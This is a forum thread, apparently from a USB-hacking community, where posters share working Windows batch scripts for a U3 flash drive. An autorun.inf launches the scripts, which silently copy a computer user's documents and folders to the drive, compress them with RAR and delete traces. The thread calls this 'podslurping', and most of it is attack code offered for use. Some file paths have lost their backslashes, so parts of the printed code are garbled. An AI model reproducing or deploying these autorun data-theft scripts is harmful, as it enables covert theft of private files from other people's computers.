Jump to content

which payload is suitable for copying files?


Recommended Posts

Posted

i need a payload (i have u3) which is pretty simple and is able to search for exact files in exact foldersĀ  and copy files to the pendrive

which is the best?

i have the toshiba u3 so i think i cant use hacksaw?

Posted

This might help you:

autorun.inf (on CD Partition)

[AutoRun]
open=start.bat

start.bat (on CD Partition)

@echo off 

@start /min for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do %%i:copy.bat

@exit

copy.bat (in root of the flash drive)

@echo off
set file=*put path to file here*
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %filepath% %~d0%computername%
@cls
@exit

When configured, copy.bat should look a bit like this:

@echo off
set filepath="C:Documents and Settings%username%My Documentsomg.doc"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %filepath% %~d0%computername%
@cls
@exit

Posted

And I forgot to put this in, but if you want more than one file copied, you can do something like this:

@echo off
set fp="C:Documents and Settings%username%My Documentsomg.doc"
set fp2="D:vids"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %fp% %~d0%computername%
xcopy %fp2% %~d0%computername%
@cls
@exit

Also, for RAR compression, put rar.exe (I got mine from the Hacksaw) in the root of the drive or in a folder somewhere. It is easier to put it in the root of the drive.

@echo off
set fp="C:Documents and Settings%username%My Documentsomg.doc"
set fp2="D:vids"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %fp% %~d0%computername%
xcopy %fp2% %~d0%computername%
rar.exe a ~d0%computername%.rar "%~d0%computername%"
del /f/q %~d0%computername%
@cls
@exit

Both of these copy.bat's will copy the omg.doc document from My Documents and copy the entire folder D:vids folder to a folder named after the computer they came from. The rar one will then rar that folder up, and it will delete the folder it just rar'ed.

Posted

thank you for help, but can you just tell me how to copy for example *.doc files from c: including *.doc files from subfolders?

i dont know how to write this command in NT

Posted
thank you for help, but can you just tell me how to copy for example *.doc files from c: including *.doc files from subfolders?

You would actually have to use an external program. Lucky for you (and me), Obi-Wahn has coded up just the thing. It is in this topic and called File Copier. Put fc.exe in the same directory as the following batch script to grab all the .doc files in C:.

@echo off
if not exist %~d0%computername% mkdir %~d0%computername%
if not exist %~d0%computername%doc mkdir %~d0%computername%doc
fc.exe "C:*.doc" "%~d0%computername%doc" /I

Posted

doesn't xcopy <source> <dest.> /S work well?

actually i found out that fc.exe does not understand %fd% which is an abbreviation of the destination to copy files from the switchblade batch(go.bat). (what am i doing wrong?)

Posted

Does %fd% work in other batch scripts? If I were you I would just type out the whole string.

I haven't heard about xcopy <source> <dest.> /S, but if you had, why did you need to ask?

Posted

i didn't when i asked but i can tell now that it works, you don't need the fc.exe program, so now everything works ok for me'

thank You for help

Posted

That is good to know. Maybe I'll start using that instead of fc.exe. Don't worry, Obi-Wahn, I'll still use fc.exe but for different things.

Posted

@elmer: NP. Your choise.

BTW: I've tried a test.bat

set D = %userprofile%Desktopfiles
md %d%
xcopy "C:*.log" "%d%" /S
pause &gt; nul

and got a error message (translated):Ā  "Cyclic copy not possible"

So did you do something different or what?

Posted

If people use

set D = %userprofile%Desktopfiles
md %d%
xcopy "C:*.log" "%d%" /S
pause &gt; nul

I think that DOS will get angry because it has no %d% variable, only a %D% one. I know DOS commands are not case sensitive, but are variables?

Posted

@kz26

Yes, I've seen this. It seems as though your payload is for ZIPing logs. This is about RARing data pulled form a computer. It's building upon the concept of podslurping.

Posted
My payload will support this very soon, keep an eye out for v0.5

For those not in the know, his payload is here. It is called the USB Pocket-Knife.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...